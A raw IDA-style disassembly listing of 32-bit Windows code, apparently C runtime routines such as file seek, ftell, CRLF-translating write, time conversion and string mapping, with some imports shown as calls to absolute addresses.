loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2660000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2760000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2680835h
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 2680835h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2680835h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2820000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2810000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------

loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DB350
		mov	[ebp+8], ecx
